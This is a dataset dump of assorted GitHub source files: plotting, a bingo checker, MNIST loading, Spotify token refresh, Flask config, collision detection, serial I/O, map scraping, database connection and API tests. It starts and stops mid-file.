ax2.add_collection(lc)\n arrow = pat.FancyArrowPatch(\n posA=(-0.2, 0),\n posB=(deg[-1] + 0.2, 0),\n arrowstyle=\"-|>\",\n linewidth=0.5,\n color=\"k\",\n shrinkA=0,\n shrinkB=0,\n zorder=-1,\n mutation_scale=8,\n )\n ax2.add_artist(arrow)\n ax2.annotate(r\"$\\phi$\", xy=(deg[-1], 0.10), xycoords=\"data\", ha=\"center\", va=\"bottom\")\n\n ml, sl, bl = ax2.stem(mic_deg_ref, y_ref)\n ml.set(linewidth=0.5, color=color_ref, marker=\"o\", markeredgewidth=0.3, markeredgecolor=\"white\")\n sl.set(linewidth=0.5, color=color_ref, linestyle=\"--\")\n bl.set(visible=False)\n\n ml, sl, bl = ax2.stem(mic_deg_rot, y_rot)\n ml.set(linewidth=0.5, color=color_rot, marker=\"o\", markeredgewidth=0.3, markeredgecolor=\"white\")\n sl.set(linewidth=0.5, color=color_rot, linestyle=\"--\")\n bl.set(visible=False)\n\n # # Result of sound field interpolation\n # ml, sl, bl = ax2.stem(mic_deg_ref, sc_sfi)\n # ml.set(linewidth=0.5, color=color_sfi, marker=\"X\", markeredgewidth=0.3, markeredgecolor=\"white\")\n # sl.set(linewidth=0.5, color=color_sfi, linestyle=\"--\")\n # bl.set(visible=False)\n\n ax2.tick_params(\n axis=\"both\", which=\"both\", bottom=False, top=False, left=False, right=False, labelleft=False, labelbottom=False\n )\n ax2.set_title(\"Sound pressure on the circumference\")\n ax2.set_box_aspect(box_aspect)\n\n plt.subplots_adjust(top=0.90, bottom=0.02, left=0.05, right=0.95, wspace=0.50)\n\n con = pat.ConnectionPatch(\n xyA=(1, 0.2),\n xyB=(0, 0.2),\n coordsA=\"axes fraction\",\n coordsB=\"axes fraction\",\n axesA=ax1,\n axesB=ax2,\n shrinkA=5,\n shrinkB=5,\n arrowstyle=\"->\",\n mutation_scale=10,\n color=\"gray\",\n lw=0.8,\n connectionstyle=\"arc3,rad=0.3\",\n )\n ax1.add_artist(con)\n ax1.annotate(\"Discretization\", xy=(0.5, 0.32), xycoords=\"figure fraction\", ha=\"center\", va=\"top\")\n\n plt.savefig(f\"sfi{n:02d}.pdf\")\n plt.close()\n","repo_name":"taishi-n/Nakashima2023APSIPA-SIP","sub_path":"figures/diagrams/plot-sfi.py","file_name":"plot-sfi.py","file_ext":"py","file_size_in_byte":7650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43401090705","text":"import sys\n\n#縦確認定義\ndef check_vertical(bingo_size, bingo):\n for i in range(bingo_size):\n #確認するラインの要素をリストに入れる\n checklist = []\n for row in bingo:\n checklist.append(row[i])\n\n #ビンゴか確認\n if is_bingo(checklist):\n return True\n return False\n\n\n#横確認定義\ndef check_horizontal(bingo_size, bingo):\n for row in bingo:\n if is_bingo(row):\n return True\n return False\n\n#対角線確認定義\ndef check_diagonal(bingo_size, bingo):\n diag1 = []\n for i in range(bingo_size):\n diag1.append(bingo[i][i])\n if is_bingo(diag1):\n return True\n\n diag2 = []\n for i in range(bingo_size):\n diag2.append(bingo[i][bingo_size - i - 1])\n if is_bingo(diag2):\n return True\n \n return False\n\n#リスト内が全部丸か確認\ndef is_bingo(list):\n for elem in list:\n if elem != 'o':\n return False\n return True\n\ndef main(lines):\n bingo_size = int(lines[0])\n bingo = lines[1:]\n\n #縦を確認する\n if check_vertical(bingo_size, bingo):\n print(\"yes\")\n return\n\n #横を確認する\n if check_horizontal(bingo_size, bingo):\n print(\"yes\")\n return\n\n #斜めを確認する\n if check_diagonal(bingo_size, bingo):\n print(\"yes\")\n return\n\n print(\"no\")\n\n\nif __name__ == '__main__':\n lines = []\n for l in sys.stdin:\n lines.append(l.rstrip('\\r\\n'))\n main(lines)\n\n","repo_name":"Sakito1187/bingo","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14001166027","text":"# MNIST\n\n# import sys, os\n# sys.path.append(os.pardir) # 부모 디렉터리의 파일을 가져올 수 있도록 설정\nimport numpy as np\nfrom StudyProject.dataset.mnist import load_mnist\nfrom PIL import Image\n\n# 처음 한 번은 몇 분 정도 걸립니다\n#(x_train, t_train), (x_test, t_test) = load_mnist(flatten=True, normalize=False) # flatten은 배열을 1차원으로 변경할것인지 # normalize true이면 0.0 ~ 1.0 으로 정규화 false이면 0 ~ 255 으로 원래 픽셀값으\n\n# 각 데이터의 형상 출력\n#print(x_train.shape) # (60000, 784)\n#print(t_train.shape) # (60000,)\n#print(x_test.shape) # (10000, 784)\n#print(t_test.shape) # (10000,)\n\n# page 99\ndef img_show(img):\n pil_img = Image.fromarray(np.uint8(img)) # 넘파이로 저장된 이미지 데이터를 PIL용 데이터 객체로 변환\n pil_img.show()\n\n(x_train, t_train), (x_test, t_test) = load_mnist(flatten=True, normalize=False)\n\nimg = x_train[0]\nlabel = t_train[0]\nprint(label) # 5\n\nprint(img.shape) # (784,) 28 * 28 = 784\nimg = img.reshape(28, 28) # 형상을 원래 이미지의 크기로 변형\nprint(img.shape) # (28, 28)\n\nimg_show(img)","repo_name":"jhfive/PyProjects","sub_path":"StudyProject/FirstStudy/ch03/mnistTest.py","file_name":"mnistTest.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10587225235","text":"from .models import SpotifyToken\nfrom django.utils import timezone\nfrom datetime import timedelta\nfrom requests import post, put, get\n\nfrom .credentials import CLIENT_ID, CLIENT_SECRET\n\nBASE_URL = \"https://api.spotify.com/v1/me/\"\n\ndef get_user_tokens(session_id):\n user_token = SpotifyToken.objects.filter(user=session_id).first()\n if user_token:\n return user_token\n else:\n return None\n \n\ndef update_or_create_user_tokens(session_id, access_token, token_type, expires_in, refresh_token):\n tokens = get_user_tokens(session_id)\n # We are adding are expires time to current time, so we can know exact time of expiry\n expires_in = timezone.now() + timedelta(seconds=expires_in)\n\n # Update tokens\n if tokens:\n tokens.access_token = access_token\n tokens.token_type = token_type\n tokens.expires_in = expires_in\n tokens.refresh_token = refresh_token\n tokens.save(update_fields=['access_token', 'token_type', 'expires_in', 'refresh_token'])\n # Create tokens, if there are none\n else:\n tokens = SpotifyToken(user=session_id, access_token=access_token, token_type=token_type, expires_in=expires_in, refresh_token=refresh_token)\n tokens.save()\n\n\ndef is_spotify_authenticated(session_id):\n tokens = get_user_tokens(session_id)\n if tokens:\n # Check if tokes expired\n expiry = tokens.expires_in\n if expiry <= timezone.now():\n refresh_spotify_token(session_id)\n return True\n \n # When there is no tokens\n return False\n\n\ndef refresh_spotify_token(session_id):\n refresh_token = get_user_tokens(session_id).refresh_token\n\n # grant_type is what we are sending\n response = post('https://accounts.spotify.com/api/token', data={\n 'grant_type': 'refresh_token',\n 'refresh_token': refresh_token,\n 'client_id': CLIENT_ID,\n 'client_secret': CLIENT_SECRET\n }).json()\n \n access_token = response.get('access_token')\n token_type = response.get('token_type')\n expires_in = response.get('expires_in')\n # Token remains the same, it is only refreshed by spotify\n # refresh_token = response.get('refresh_token')\n\n # Update tokens\n update_or_create_user_tokens(session_id, access_token, token_type, expires_in, refresh_token)\n\n\ndef execute_spotify_api_request(session_id, endpoint, post_=False, put_=False):\n # Assuming we are sending host id\n tokens = get_user_tokens(session_id)\n headers = {'Content-Type': 'application/json', 'Authorization': f'Bearer {tokens.access_token}'}\n\n if post_:\n post(f'{BASE_URL}{endpoint}', headers=headers)\n if put_:\n put(f'{BASE_URL}{endpoint}', headers=headers)\n\n # For get request we need to put empty dict, syntax stuff\n response = get(f'{BASE_URL}{endpoint}', {}, headers=headers)\n try:\n return response.json()\n except: \n return {'Error': 'Issue with request'}\n\n\ndef play_song(session_id):\n return execute_spotify_api_request(session_id, \"player/play\", put_=True)\n\n\ndef pause_song(session_id):\n return execute_spotify_api_request(session_id, \"player/pause\", put_=True)\n\n\ndef skip_song(session_id):\n return execute_spotify_api_request(session_id, \"player/next\", post_=True)","repo_name":"szalashaska/music-controller","sub_path":"spotify/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"13304929396","text":"import os\nimport yaml\nfrom flask import Config\n\nclass SkeletonConfig(Config):\n\n def from_yaml(self, filename):\n \"\"\"Reads the given yml file and imports all values\"\"\"\n if not os.path.exists(filename):\n raise Exception('Config file \\\"{}\\\" does not exist'.format(filename))\n\n with open(filename) as f:\n ymlconf = yaml.load(f)\n\n ymlconf = upper_keys(ymlconf)\n for key in ymlconf:\n self[key] = ymlconf[key]\n\n def get(self, value_name, default=None):\n \"\"\"Access config values using a dot notation.\n\n This method takes the name of a config value in dot notation::\n\n app.config.get('db.host', 'localhost')\n\n would return the value of app.config['DB']['HOST'] if it exists otherwise\n it will return the string 'localhost'.\n \"\"\"\n data = self\n # need to oppercase the value name since config values are stored in\n # uppercase\n for key in value_name.upper().split(\".\"):\n if key in data:\n data = data[key]\n else:\n return default\n\n return data\n\ndef upper_keys(x):\n if isinstance(x, list):\n return [upper_keys(v) for v in x]\n if isinstance(x, dict):\n return dict((k.upper(), upper_keys(v)) for k, v in x.iteritems())\n return x\n","repo_name":"ryakad/flask-skeleton","sub_path":"skeleton/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43224903770","text":"''' Praticle and Fast Collision detection for autonomous driving.\nobjects: Rectangle and circle.\nAccording to the implemetation difficulty. 3 method are used.\nmethods: seperating axis therom; double circle method; particle model;\n\nRef:\n\n'''\nimport numpy as np\nimport os, math, yaml, time\nfrom math import cos, sin, sqrt\nfrom .collision_geometry import Rectangle, Circle\nimport matplotlib.pyplot as plt\n\n# path_cfg = os.path.join(\"configs\", \"control.yaml\")\n# f_cfg = open(path_cfg)\n# car_cfg = yaml.load(f_cfg)\n\n\ndef collision_rect_and_rect(rect1: Rectangle, rect2: Rectangle):\n ''' Use seperating axis therom (Reference to apollo). \\\n Judge collision between 2 rectangles.\n\n '''\n shift_x = rect2.x - rect1.x\n shift_y = rect2.y - rect1.y\n\n \n cos_v = math.cos(rect1.yaw)\n sin_v = math.sin(rect1.yaw)\n cos_o = math.cos(rect2.yaw)\n sin_o = math.sin(rect2.yaw)\n half_l_v = rect1.length/2\n half_w_v = rect1.width/2\n half_l_o = rect2.length/2\n half_w_o = rect2.width/2\n\n dx1 = cos_v * rect1.length/2\n dy1 = sin_v * rect1.length/2\n dx2 = sin_v * rect1.width/2\n dy2 = -cos_v * rect1.width/2\n\n dx3 = cos_o * rect2.length/2\n dy3 = sin_o * rect2.length/2\n dx4 = sin_o * rect2.width/2\n dy4 = -cos_o * rect2.width/2\n\n # use seperating axis therom\n return ((abs(shift_x * cos_v + shift_y * sin_v) <=\n abs(dx3 * cos_v + dy3 * sin_v) + abs(dx4 * cos_v + dy4 * sin_v) + half_l_v)\n and (abs(shift_x * sin_v - shift_y * cos_v) <=\n abs(dx3 * sin_v - dy3 * cos_v) + abs(dx4 * sin_v - dy4 * cos_v) + half_w_v)\n and (abs(shift_x * cos_o + shift_y * sin_o) <=\n abs(dx1 * cos_o + dy1 * sin_o) + abs(dx2 * cos_o + dy2 * sin_o) + half_l_o)\n and (abs(shift_x * sin_o - shift_y * cos_o) <=\n abs(dx1 * sin_o - dy1 * cos_o) + abs(dx2 * sin_o - dy2 * cos_o) + half_w_o))\n\n\ndef collision_circle_and_rect(c:Circle, r:Rectangle):\n ''' dectect 2 + 1 axis. https://www.sevenson.com.au/programming/sat/\n '''\n # find the nearest vertices to circle\n if not hasattr(r, 'vertices'):\n vertices = r.calc_vertices()\n d_min = np.Inf\n ind = -1\n\n for i_v in range(vertices.shape[0]):\n d = ((vertices[i_v, 0] - c.x)**2 + (vertices[i_v, 1] - c.y)**2)**0.5 - c.r\n if d < d_min:\n d_min = d\n ind = i_v\n \n if d_min<0:\n return True\n \n circle_center = np.array([c.x, c.y])\n \n yaw = r.yaw\n axes = [[cos(yaw), sin(yaw)], [-sin(yaw), cos(yaw)]]\n\n axis_point = vertices[ind, :] - circle_center\n axis_point = normalize(axis_point)\n\n axes.append(axis_point)\n for axis in axes:\n projection_a = project(vertices, axis)\n projection_c = project([circle_center], axis)[0]\n projection_b = [projection_c-c.r, projection_c+c.r]\n\n overlapping = overlap(projection_a, projection_b)\n # if exist axis to seperate, then no collision.\n if not overlapping:\n return False\n\n return True\n \n\ndef normalize(vector):\n \"\"\"\n :return: The vector scaled to a length of 1\n \"\"\"\n norm = sqrt(vector[0] ** 2 + vector[1] ** 2)\n return vector[0] / norm, vector[1] / norm\n\n\ndef dot(vector1, vector2):\n \"\"\"\n :return: The dot (or scalar) product of the two vectors\n \"\"\"\n return vector1[0] * vector2[0] + vector1[1] * vector2[1]\n\n\ndef edge_direction(point0, point1):\n \"\"\"\n :return: A vector going from point0 to point1\n \"\"\"\n return point1[0] - point0[0], point1[1] - point0[1]\n\n\ndef orthogonal(vector):\n \"\"\"\n :return: A new vector which is orthogonal to the given vector\n \"\"\"\n return vector[1], -vector[0]\n\n\ndef vertices_to_edges(vertices):\n \"\"\"\n :return: A list of the edges of the vertices as vectors\n \"\"\"\n return [edge_direction(vertices[i], vertices[(i + 1) % len(vertices)])\n for i in range(len(vertices))]\n\n\ndef project(vertices, axis):\n \"\"\"\n :return: A vector showing how much of the vertices lies along the axis\n \"\"\"\n dots = [dot(vertex, axis) for vertex in vertices]\n return [min(dots), max(dots)]\n\n\n\ndef overlap(projection1, projection2):\n \"\"\"\n :return: Boolean indicating if the two projections overlap\n \"\"\"\n return min(projection1) <= max(projection2) and \\\n min(projection2) <= max(projection1)\n\n\ndef separating_axis_theorem(vertices_a, vertices_b):\n ''' slow but unified function for convex polygon collision dectection.\n '''\n edges = vertices_to_edges(vertices_a) + vertices_to_edges(vertices_b)\n axes = [normalize(orthogonal(edge)) for edge in edges]\n\n for axis in axes:\n projection_a = project(vertices_a, axis)\n projection_b = project(vertices_b, axis)\n\n overlapping = overlap(projection_a, projection_b)\n\n # if exist axis to seperate, then no collision.\n if not overlapping:\n return False\n\n return True\n\n\ndef get_dist_circle_collision(c1: Circle, c2: Circle):\n # d_c1_to_c2 - (r1 + r2)\n return ((c1.x - c2.x)**2 + (c1.y - c2.y)**2)**0.5 - (c1.r + c2.r)\n\ndef calc_dis(x1, y1, x2, y2):\n return sqrt((x1-x2)**2 + (y1-y2)**2)\n\ndef is_collision(o1, o2):\n ''' use seperating axis theorem\n '''\n if type(o1) == Circle and type(o2) == Circle:\n return get_dist_circle_collision(o1, o2)<0\n elif type(o1) == Rectangle and type(o2) == Rectangle:\n return collision_rect_and_rect(o1, o2)\n else:\n (c, r) = (o1, o2) if type(o1)==Circle else (o2, o1)\n return collision_circle_and_rect(c, r)\n\n\ndef is_collision_double_circle(obj1, obj2):\n ''' detect distance between 2 objects. \n Use double circles to represent a rectangle.\n [abandoned]: Slower than the not simple version.\n '''\n if type(obj1) == Circle and type(obj2) == Circle:\n return get_dist_circle_collision(obj1, obj2)<0\n elif type(obj1) == Rectangle and type(obj2) == Rectangle:\n xf1, yf1, xr1, yr1 = get_disc_positions(obj1.x, obj1.y, obj1.yaw, obj1.length)\n xf2, yf2, xr2, yr2 = get_disc_positions(obj2.x, obj2.y, obj2.yaw, obj2.length)\n r1 = obj1.r\n r2 = obj2.r\n i1 =calc_dis(xf1, yf1, xf2, yf2) -(r1 + r2) < 0\n i2 =calc_dis(xf1, yf1, xr2, yr2) -(r1 + r2) < 0\n i3 =calc_dis(xr1, yr1, xf2, yf2) -(r1 + r2) < 0\n i4 =calc_dis(xr1, yr1, xr2, yr2) -(r1 + r2) < 0\n return i1 | i2 | i3 | i4\n\n else:\n (c, r) = (obj1, obj2) if type(obj1)==Circle else (obj2, obj1)\n\n return collision_circle_and_rect(c, r)\n pass\n\n\ndef get_disc_positions(x, y, theta, L):\n \"\"\"_summary_\n Args:\n L (double): car length\n Returns:\n _type_: _description_\n \"\"\"\n if type(x) is np.ndarray:\n cos, sin = np.cos, np.sin\n else:\n cos, sin = math.cos, math.sin\n\n f2x = 1/4 * L\n r2x = - 1/4 * L\n\n xf = x + f2x * cos(theta)\n xr = x + r2x * cos(theta)\n yf = y + f2x * sin(theta)\n yr = y + r2x * sin(theta)\n return xf, yf, xr, yr\n\ndef get_disc_positions_from_real_axis_center(x, y, theta, car_len, Lr):\n \"\"\"\n Lr : rear axis center to vehicle backend\n \"\"\"\n if type(x) is np.ndarray:\n cos, sin = np.cos, np.sin\n else:\n cos, sin = math.cos, math.sin\n\n f2x = 1/4 * 3*car_len - Lr\n r2x = 1/4 * car_len - 3*Lr/4\n\n xf = x + f2x * cos(theta)\n xr = x + r2x * cos(theta)\n yf = y + f2x * sin(theta)\n yr = y + r2x * sin(theta)\n return xf, yf, xr, yr\n\n\n\n","repo_name":"YangSVM/collision","sub_path":"collision_detection.py","file_name":"collision_detection.py","file_ext":"py","file_size_in_byte":7440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30606670525","text":"# DATE: 30/07/2022, 06:18:39\n# PROBLEM NAME: Apples and Oranges\n# PROBLEM URL: https://www.codechef.com/problems/APPLORNG\n# PROBLEM DIFFICULTY RATTING: 355\n# STATUS: accepted\n# TIME: 0.02\n# MEMORY: 9.2M\n\nx = int(input())\r\na, b = map(int, input().split(\" \"))\r\nprint(\"YES\" if x >= a+b else \"NO\")\n\n","repo_name":"Yash2003Bisht/ProblemSolutions","sub_path":"solutions/codechef/APPLORNG/APPLORNG_1.py","file_name":"APPLORNG_1.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5914041484","text":"import serial\nimport time\nimport multiprocessing\nser=serial.Serial(\"/dev/ttyUSB0\", 9600)\n\n\nch1s=0\nch2s=0\nch3s=0\nch4s=0\nch1s=raw_input('chan1')\nch2s=raw_input('chan2')\nch3s=raw_input('chan3')\nch4s=raw_input('chan4')\ndef foo(n): \n\tser.write(\"#\")\n\nwhile 1:\n if __name__ == '__main__':\n # Start foo as a process\n p = multiprocessing.Process(target=foo, name=\"Foo\", args=(10,))\n p.start()\n\n # Wait 10 seconds for foo\n time.sleep(.05)\n\n # Terminate foo\n p.terminate()\n\n # Cleanup\n p.join()\n time.sleep(.05) \n\t\t\n\n while len(ch1s)<3:\n ch1s=\"0\"+ch1s\n while len(ch2s)<3:\n ch2s=\"0\"+ch2s\n while len(ch3s)<3:\n ch3s=\"0\"+ch3s\n while len(ch4s)<3:\n ch4s=\"0\"+ch4s\n for c in ch1s:\n ser.write(c)\n time.sleep(.05)\n for c in ch2s:\n ser.write(c)\n time.sleep(.05)\n for c in ch3s:\n ser.write(c)\n time.sleep(.05)\n for c in ch4s:\n ser.write(c)\n time.sleep(.05)\n","repo_name":"IITMAutoUAV/APM-XBee-Communication","sub_path":"apm_ser_contr.py","file_name":"apm_ser_contr.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74003709265","text":"import requests\nfrom pymongo import MongoClient\n\nclient = MongoClient('localhost', 27017)\ndb = client.dbtripin\n\nbase_parsing_url = 'https://map.naver.com/v5/api/search?caller=pcweb&query='\nbase_route_url = 'https://map.naver.com/v5/api/transit/directions/point-to-point?start={}, {},placeid= {},name= {}&goal= {}, {},placeid= {},name={}'\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'\n}\n\n\n# start에서 goal까지 걸리는 이동 시간\ndef duration_minute(start_index, start_word, goal_index, goal_word, places_info):\n start = parsing(start_index, start_word, places_info)\n goal = parsing(goal_index, goal_word, places_info)\n\n duration = db.durations.find_one({'start_id': start['id'], 'goal_id': goal['id']}, {'_id':False})\n if duration is None:\n route_url = base_route_url.format(start['x'], start['y'], start['id'], start['name'],\n goal['x'], goal['y'], goal['id'], goal['name'])\n data = requests.get(route_url, headers=headers).json()\n if data['paths']:\n duration_time = data['paths'][0]['duration']\n else:\n duration_time = 1\n duration_info = {\n 'start_id': start['id'],\n 'start_name': start['name'],\n 'goal_id': goal['id'],\n 'goal_name': goal['name'],\n 'duration': duration_time\n }\n db.durations.insert_one(duration_info)\n # print(duration_info['start'], '-', duration_info['goal'], 'is insert.')\n else:\n duration_info = duration\n duration_time = duration_info['duration']\n # print(duration_info['start'], '-', duration_info['goal'], 'find')\n\n # print('start :', start['name'], '/ goal :', goal['name'])\n # print('duration :', duration_time)\n\n return duration_time\n\n\n# 네이버지도에서 'word kinds[index]'으로 검색하여 첫번째 맛집의 정보 크롤링\n# index - 0: 여행장소, 1: 맛집, 2: 카페, 3: 숙소\ndef parsing(index, word, places_info):\n kinds = ['', '맛집', '카페', '숙소']\n\n # db에 입력 단어 검색한 후 없으면 저장\n if index != 0:\n # 여행장소가 아닐때 -> others에 저장\n place = db.others.find_one({'word': word, 'index': index}, {'_id':False})\n if place is None:\n parsing_url = base_parsing_url + word + ' ' + kinds[index]\n data = requests.get(parsing_url, headers=headers).json()\n place = data['result']['place']['list'][0]\n\n place_info = {\n 'id': place['id'],\n 'name': place['name'],\n 'x': place['x'],\n 'y': place['y'],\n 'address': place['address'],\n 'word': word,\n 'index': index\n }\n db.others.insert_one(place_info)\n # print(place['name'], 'is insert.')\n else:\n place_info = place\n # print(place_info['name'], 'find.')\n else:\n # 여행장소일때 -> places에 저장\n place = db.places.find_one({'word': word}, {'_id':False})\n if place is None:\n parsing_url = base_parsing_url + word\n data = requests.get(parsing_url, headers=headers).json()\n\n place = data['result']['place']['list'][0]\n place_info = {\n 'id': place['id'],\n 'name': place['name'],\n 'x': place['x'],\n 'y': place['y'],\n 'address': place['address'],\n 'word': word,\n 'index': 0\n }\n db.places.insert_one(place_info)\n # print(place_info['name'], 'is insert.')\n else:\n place_info = place\n # print(place_info['name'], 'find.')\n\n if place_info not in places_info:\n places_info.append(place_info)\n\n return place_info\n\n","repo_name":"kimphysicsman/Travel_recommedation","sub_path":"functions/parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":3954,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"24392894259","text":"import psycopg2\nfrom config import config\n\ndef connect():\n # Connect to db server\n conn = None\n try:\n # read connection params\n params = config()\n\n # connect to Postgres server\n print('Connecting to PostgreSQL database...')\n conn = psycopg2.connect(**params)\n\n # create cursor\n cur = conn.cursor()\n\n # execute a statement\n print('PostgreSQL database version:')\n cur.execute('SELECT version()')\n\n # display the PostgreSQL db server version\n db_version = cur.fetchone()\n print(db_version)\n\n \t# close the communication with the PostgreSQL\n cur.close()\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n finally:\n if conn is not None:\n conn.close()\n print('Database connection closed.')\n\n\nif __name__ == '__main__':\n connect()","repo_name":"ptrkbrn/plain-pie","sub_path":"connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"19818802200","text":"import pytest\nfrom httpx import AsyncClient\n\nfrom app.core.raw import get_quest_ids_in_conds\nfrom app.data.utils import load_master_data\nfrom app.schemas.enums import FUNC_VALS_NOT_BUFF\nfrom app.schemas.raw import MstEventMissionCondition, MstEventMissionConditionDetail\n\nfrom .utils import get_response_data, test_gamedata\n\n\nDATA_FOLDER = \"test_data_raw\"\n\n\ntest_cases_dict: dict[str, tuple[str, str]] = {\n \"servant_NA_collectionNo\": (\"NA/servant/184\", \"NA_Tomoe\"),\n \"servant_NA_id\": (\"NA/servant/202100\", \"NA_Tomoe\"),\n \"servant_NA_lore\": (\"NA/servant/156?lore=True\", \"NA_Moriarty_lore\"),\n \"servant_NA_collectionNo_expanded\": (\n \"NA/servant/200?expand=True\",\n \"NA_Fujino_expanded\",\n ),\n \"servant_JP_collectionNo\": (\"JP/servant/185\", \"JP_Chiyome\"),\n \"servant_JP_id\": (\"JP/servant/602900\", \"JP_Chiyome\"),\n \"svtScript_JP\": (\"JP/svtScript?charaId=10010001&charaId=10010002\", \"JP_svtScripts\"),\n \"equip_NA_collectionNo\": (\"NA/equip/184\", \"NA_Gentle_affection\"),\n \"equip_NA_id\": (\"NA/equip/9401400\", \"NA_Gentle_affection\"),\n \"equip_NA_collectionNo_expanded\": (\n \"NA/equip/375?expand=True\",\n \"NA_Oni_Mask_expanded\",\n ),\n \"svt_JP_id\": (\"NA/svt/9401400\", \"NA_Gentle_affection\"),\n \"skill_NA\": (\"NA/skill/24550\", \"NA_skill_24550\"),\n \"skill_NA_reverse\": (\"NA/skill/446550?reverse=True\", \"NA_skill_446550_reverse\"),\n \"skill_NA_expand\": (\"NA/skill/275551?expand=True\", \"NA_skill_275551_expand\"),\n \"skill_NA_reverse_expand\": (\n \"NA/skill/275551?expand=True&reverse=True\",\n \"NA_skill_275551_reverse_expand\",\n ),\n \"skill_JP_reverse_MC\": (\"JP/skill/980004?reverse=true\", \"JP_skill_980004_reverse\"),\n \"NP_NA\": (\"NA/NP/900101\", \"NA_NP_900101\"),\n \"NP_NA_reverse\": (\"NA/NP/9940531?reverse=True\", \"NA_NP_9940531_reverse\"),\n \"NP_NA_expand\": (\"NA/NP/202401?expand=True\", \"NA_NP_202401_expand\"),\n \"NP_NA_reverse_expand\": (\n \"NA/NP/301202?expand=True&reverse=True\",\n \"NA_NP_301202_reverse_expand\",\n ),\n \"function_NA\": (\"NA/function/433\", \"NA_function_433\"),\n \"function_NA_2\": (\"NA/function/400\", \"NA_function_400\"),\n \"function_NA_reverse\": (\"NA/function/203?reverse=True\", \"NA_function_203_reverse\"),\n \"function_NA_expand\": (\"NA/function/205?expand=True\", \"NA_function_205_expand\"),\n \"function_NA_expand_no_buff\": (\n \"NA/function/433?expand=True\",\n \"NA_function_433_expand\",\n ),\n \"function_NA_reverse_expand\": (\n \"NA/function/300?expand=True&reverse=True\",\n \"NA_function_300_reverse_expand\",\n ),\n \"function_NA_unknown_buff_id\": (\"NA/function/4086\", \"NA_function_4086\"),\n \"buff_NA\": (\"NA/buff/200\", \"NA_buff_200\"),\n \"buff_NA_reverse\": (\"NA/buff/190?reverse=True\", \"NA_buff_190_reverse\"),\n \"item_JP\": (\"JP/item/7103\", \"JP_item_Lancer_Monument\"),\n \"MC_NA\": (\"JP/MC/20\", \"JP_MC_Plugsuit\"),\n \"CC_NA\": (\"NA/CC/8400110\", \"NA_CC_Fou\"),\n \"CC_NA_collectionNo\": (\"NA/CC/11\", \"NA_CC_Fou\"),\n \"event_NA\": (\"NA/event/80090\", \"NA_KNK_rerun\"),\n \"war_JP\": (\"JP/war/201\", \"JP_war_Shimousa\"),\n \"quest_NA\": (\"NA/quest/94026514\", \"NA_Artoria_rank_up_2\"),\n \"quest_phase_JP\": (\"JP/quest/94025012/1\", \"JP_Meaka_Fudou\"),\n \"ai_beni_cq_monkey_NA\": (\"NA/ai/svt/94032580\", \"NA_AI_Beni_CQ_monkey\"),\n \"kh_cq_JP\": (\"JP/ai/field/90161870\", \"JP_KH_CQ_taunt\"),\n \"bgm_JP_with_shop\": (\"JP/bgm/138?lang=en\", \"JP_BGM_Shinjuku\"),\n \"bgm_NA_without_shop\": (\"NA/bgm/33\", \"NA_BGM_battle_10\"),\n \"script_NA\": (\"NA/script/0300030510\", \"NA_LB3_script\"),\n \"shop_NA\": (\"NA/shop/80276219\", \"shop_valentine_script\"),\n \"eventAlloutBattle_JP\": (\n \"JP/eventAlloutBattle?eventId=80363\",\n \"eventAlloutBattle_JP\",\n ),\n}\n\n\ntest_cases = [pytest.param(*value, id=key) for key, value in test_cases_dict.items()]\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\"query,result\", test_cases)\nasync def test_raw(client: AsyncClient, query: str, result: str) -> None:\n response = await client.get(f\"/raw/{query}\")\n assert response.status_code == 200\n assert response.json() == get_response_data(DATA_FOLDER, result)\n\n\ncases_404_dict = {\n \"servant\": \"500\",\n \"equip\": \"3001\",\n \"svt\": \"9321362\",\n \"skill\": \"25689\",\n \"NP\": \"900205\",\n \"function\": \"90000\",\n \"buff\": \"765\",\n \"item\": \"941234\",\n \"MC\": \"62537\",\n \"CC\": \"8400111\",\n \"event\": \"12345\",\n \"war\": \"205\",\n \"quest\": \"1234567\",\n \"quest/94025012\": \"2\",\n \"ai/svt\": \"2384287349\",\n \"ai/field\": \"18738131\",\n \"bgm\": \"319028\",\n \"mm\": \"312341\",\n \"script\": \"faSdanosd\",\n \"shop\": \"1238712\",\n}\n\n\ncases_404 = [pytest.param(key, value, id=key) for key, value in cases_404_dict.items()]\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\"endpoint,item_id\", cases_404)\nasync def test_404_raw(client: AsyncClient, endpoint: str, item_id: str) -> None:\n response = await client.get(f\"/raw/JP/{endpoint}/{item_id}\")\n assert response.status_code == 404\n assert response.json()[\"detail\"][-9:] == \"not found\"\n\n\ncases_overflow_dict = {\n \"servant\": \"112345678910111213\",\n \"equip\": \"112345678910111213\",\n \"svt\": \"112345678910111213\",\n \"skill\": \"112345678910111213\",\n \"NP\": \"112345678910111213\",\n \"function\": \"112345678910111213\",\n \"buff\": \"12312312312312312323123\",\n \"item\": \"112345678910111213\",\n \"MC\": \"112345678910111213\",\n \"CC\": 